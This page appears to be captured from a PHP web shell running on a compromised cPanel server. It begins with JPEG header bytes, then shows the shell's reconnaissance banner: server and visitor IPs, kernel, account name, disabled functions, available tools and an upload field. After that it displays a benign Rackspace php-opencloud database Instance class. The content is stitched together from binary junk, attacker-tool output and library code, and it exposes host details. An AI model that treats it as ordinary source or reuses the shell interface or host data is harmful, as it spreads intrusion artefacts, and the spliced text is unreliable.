����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.110 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/rackspace/php-opencloud/lib/OpenCloud/Database/Resource/ |
Upload File : |
<?php
/**
* Copyright 2012-2014 Rackspace US, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
namespace OpenCloud\Database\Resource;
use OpenCloud\Common\Http\Message\Formatter;
use OpenCloud\Common\Lang;
use OpenCloud\Common\Exceptions;
use OpenCloud\Common\Resource\NovaResource;
use OpenCloud\Compute\Resource\Flavor;
use OpenCloud\Database\Service;
/**
* Instance represents an instance of DbService, similar to a Server in a
* Compute service
*/
class Instance extends NovaResource
{
public $id;
public $name;
public $status;
public $links;
public $hostname;
public $volume;
public $created;
public $updated;
public $flavor;
public $backupRef;
protected static $json_name = 'instance';
protected static $url_resource = 'instances';
private $_databases; // used to Create databases simultaneously
private $_users; // used to Create users simultaneously
/**
* Creates a new instance object
*
* This could use the default constructor, but we want to make sure that
* the volume attribute is an object.
*
* @param \OpenCloud\DbService $service the DbService object associated
* with this
* @param mixed $info the ID or array of info for the object
*/
public function __construct(Service $service, $info = null)
{
$this->volume = new \stdClass;
return parent::__construct($service, $info);
}
/**
* Restarts the database instance
*
* @api
* @returns \OpenCloud\HttpResponse
*/
public function restart()
{
return $this->action($this->restartJson());
}
/**
* Resizes the database instance (sets RAM)
*
* @api
* @param \OpenCloud\Compute\Flavor $flavor a flavor object
* @returns \OpenCloud\HttpResponse
*/
public function resize(Flavor $flavor)
{
return $this->action($this->resizeJson($flavor->id));
}
/**
* Resizes the volume associated with the database instance (disk space)
*
* @api
* @param integer $newvolumesize the size of the new volume, in gigabytes
* @return \OpenCloud\HttpResponse
*/
public function resizeVolume($newvolumesize)
{
return $this->action($this->resizeVolumeJson($newvolumesize));
}
/**
* Enables the root user for the instance
*
* @api
* @return User the root user, including name and password
* @throws InstanceError if HTTP response is not Success
*/
public function enableRootUser()
{
$response = $this->getClient()->post($this->getUrl('root'))->send();
$body = Formatter::decode($response);
return (isset($body->user)) ? new User($this, $body->user) : false;
}
/**
* Returns TRUE if the root user is enabled
*
* @api
* @return boolean TRUE if the root user is enabled; FALSE otherwise
* @throws InstanceError if HTTP status is not Success
*/
public function isRootEnabled()
{
$response = $this->getClient()->get($this->url('root'))->send();
$body = Formatter::decode($response);
return !empty($body->rootEnabled);
}
/**
* Returns a new Database object
*
* @param string $name the database name
* @return Database
*/
public function database($name = '')
{
return new Database($this, $name);
}
/**
* Returns a new User object
*
* @param string $name the user name
* @param array $databases a simple array of database names
* @return User
*/
public function user($name = '', $databases = array())
{
return new User($this, $name, $databases);
}
/**
* Returns a Collection of all databases in the instance
*
* @return OpenCloud\Common\Collection\PaginatedIterator
*/
public function databaseList()
{
return $this->getService()->resourceList('Database', $this->getUrl('databases'), $this);
}
/**
* Returns a Collection of all users in the instance
*
* @return OpenCloud\Common\Collection\PaginatedIterator
*/
public function userList()
{
return $this->getService()->resourceList('User', $this->getUrl('users'), $this);
}
/**
* Returns a Collection of all backups for the instance
*
* @return OpenCloud\Common\Collection\PaginatedIterator
*/
public function backupList()
{
return $this->getService()->resourceList('Backup', $this->getUrl('backups'), $this);
}
/**
* Creates a backup for the given instance
*
* @api
* @param array $params - an associate array of key/value pairs
* name is required
* description is optional
* @return Backup
*/
public function createBackup($params = array())
{
if (!isset($params['instanceId'])) {
$params['instanceId'] = $this->id;
}
$backup = new Backup($this->getService(), $params);
$backup->create($params);
return $backup;
}
public function populate($info, $setObjects = true)
{
parent::populate($info, $setObjects);
if (is_object($info)) {
$info = (array) $info;
}
if (isset($info['restorePoint']['backupRef'])) {
$this->backupRef = $info['restorePoint']['backupRef'];
}
}
/**
* Generates the JSON string for Create()
*
* @return \stdClass
*/
protected function createJson()
{
if (empty($this->flavor) || !is_object($this->flavor)) {
throw new Exceptions\InstanceFlavorError(
Lang::translate('The `flavor` attribute is required and must be a Flavor object')
);
}
if (!isset($this->name)) {
throw new Exceptions\InstanceError(
Lang::translate('Instance name is required')
);
}
$out = [
'instance' => [
'flavorRef' => $this->flavor->links[0]->href,
'name' => $this->name,
'volume' => $this->volume
]
];
if (isset($this->backupRef)) {
$out['instance']['restorePoint'] = [
'backupRef' => $this->backupRef
];
}
return (object) $out;
}
/**
* Generates the JSON string for update()
*
* @return \@stdClass
*/
protected function updateJson($params = array())
{
return (object) array(
self::$json_name => $params
);
}
/**
* Generates the JSON object for Restart
*/
private function restartJson()
{
return (object) array('restart' => new \stdClass);
}
/**
* Generates the JSON object for Resize
*/
private function resizeJson($flavorRef)
{
return (object) array(
'resize' => (object) array('flavorRef' => $flavorRef)
);
}
/**
* Generates the JSON object for ResizeVolume
*/
private function resizeVolumeJson($size)
{
return (object) array(
'resize' => (object) array(
'volume' => (object) array('size' => $size)
)
);
}
}